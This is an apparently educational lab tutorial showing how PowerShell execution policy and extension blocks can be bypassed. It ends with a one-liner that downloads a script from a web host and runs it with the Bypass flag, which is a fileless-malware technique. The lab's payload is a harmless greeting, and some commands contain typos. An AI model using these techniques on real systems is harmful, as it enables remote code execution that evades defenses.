PowerShell

This lab was created after reading a technical brief released by McAfee.com in March 2017 titled “Fileless Malware Execution with PowerShell is Easier than You May Realize”

Launching PowerShell

  1. Click Start and enter PowerShell

  2. Click on Windows PowerShell

  3. Enter the following PowerShell command:

Write-Host ‘Hello, World’
You’ll see something like the following graphic:

Launch PowerShell from the Command Prompt

  1. Launch a Command Prompt.

  2. Click Start and enter the following command: powershell

  3. Enter the following PowerShell command:

Write-Host ‘Hello, World’

You’ll see something like the following graphic:

Run A PowerShell command from Command Prompt

  1. Launch a Command Prompt.

  2. Enter the following command:

powershell.exe Write-Host ‘Hello, World’
You’ll see something like the following graphic:

Create a PowerShell Script

  1. Launch PowerShell.

  2. Create a directory named my_ps with the following command: mkdir c:\my_ps

  3. Change to the my_ps directory with the following command: cd c:\my_ps

  4. Create your file and open it in Notepad with the following command: notepad hello.ps1

  5. When prompted to create the file, click Yes.

  6. Enter the following into Notepad: Write-Host ‘Hello, World’

  7. Press CTRL+S to save the file.

  8. Return to the Powershell prompt and enter the following command: hello.ps1

This won’t work but you’ll something like the following graphic.

Note that the text explains that PowerShell doesn’t recognize scripts in the current directory when called directly. Instead, they must be called with the prefix of “.\” (without the quotes).

9. In the Powershell prompt enter the following command:
.\ hello.ps1
You’ll see something like the following graphic:

Note that this error message indicates that you can’t run PowerShell scripts (don’t believe it) because the execution policy is set to Restricted. This is the default. There are four settings for the execution policies:

  • Restricted – PowerShell scripts won’t run (again, don’t believe it). This is the default setting.

  • RemoteSigned – Locally-created scripts will run. Scripts created on another machine will not run unless they are signed by a trusted publisher.

  • AllSigned – Only scripts signed by a trusted publisher will run. This includes locally-created scripts.

  • Unrestricted – All scripts will run including locally created scripts, remotely created scripts, signed scripts, and unsigned scripts.

Using the Invoke-Expression Cmdlet

You saw where the execution policy prevented you from running a PowerShell script. However, the following steps will show you how you (and malicious entities) can easily bypass this setting with the Invoke Expression Cmdlet.

  1. Launch a command prompt and change to the myps folder with the following command: cd \myps

  2. Enter the following command to see that the execution policy prevents you from running the script when called directly: powershell.exe .\hello.ps1

  3. Enter the following command to see how you can view the contents of the script: powershell.exe “& {Get-Content .\hello.ps1}

You’ll see something like the following graphic.

The call operator (&) is used to execute commands, scripts or functions. In this case it executing the Powershell Get-Content cmdlet.

Notice that this doesn’t run the script, but instead just reads the contents of the hello.ps1 file and echoes it to the screen. However, the following command will run the script.

4. Enter the following command: powershell.exe “& {Get-Content .\hello.ps1 | Invoke-Expression}

5. The Invoke Expression cmdlet can be shortened to iex as in the following command: powershell.exe “& {Get-Content .\hello.ps1 | iex}

You’ll see something like the following graphic.

The pipe operator (|) allows you to send the output of one command to another command. It takes the first PowerShell command
& {Get-Content .\hello.ps1, which is the script
Write-Host ‘Hello, World’
and sends it to the second PowerShell command, which is Invoke-Expression or iex.

The PowerShell cmdlet Invoke-Expression is used to run commands or expressions on the local computer. As you can see, entering the command this way allows you run the script even when the execution policy is set to Restricted.

However, this only allows you to run commands or expressions on the local computer. What if an administrator wants to remotely execute commands?

Run a Script from a Text File

It’s possible to prevent files with certain extensions from running. For example, administrators may create a policy preventing the use of any files with the .ps1 extension. However, this is easy to bypass.

  1. Start with command prompt window open.

  2. Ensure you are in the c:\my_ps directory by entering the following command: cd \my_ps
    This is the directory you created earlier in this lab and where you created the hello.ps1 file.

  3. Create a copy of the hello.ps1 and name it hello.txt with the following command: copy hello.ps1 hello.txt

  4. Enter the following command to display the contents of the hello.txt file: powershell.exe “& {Get-Content .\hello.txt}
    Just like the previous command that used hello.ps1, this command simply retrieved the contents of the hello.txt file, but it doesn’t run the script.

  5. Enter the following command to run the contents of the hello.txt file using the Invoke-Expression cmdlet. powershell.exe “& {Get-Content .\hello.txt | iex}
    Again, just like the previous command that used the Invoke-Expression cmdlet, this command sends the contents of the hello.txt file to the Invoke-Expression cmdlet and runs it. You’ll see something like the following graphic.

Run a Script from a Remote Server

PowerShell includes the “Bypass” parameter, which administrators can use to bypass execution policies. Unfortunately, PowerShell doesn’t seem to know the difference between a legitimate administrator, and a malicious attacker.

I’ve loaded the hello.ps1 script on the greatadministrator.com site so that you can see how this is done.

  1. Ensure you still have the command prompt open. If not, open the command prompt again.

  2. Enter the following command:
    Powershell.exe -ep Bypass -nop -noexit -c iec ((New-Object Net.WebClient).Downloadstring(‘https//greatadministrator.com/data/hello.ps1’))
    You’ll see something like the following graphic.


The -nop switch is short for No Profile and tells PowerShell not to load the Windows PowerShell profile. The profile is a script that runs when PowerShell starts, and customizes the environment. It can be an empty script or a lengthy script depending the user. By using -nop, it avoids running the script and possibly notifying someone that PowerSh

The -noexit switch says to stay in PowerShell instead of exiting back to the Command Prompt.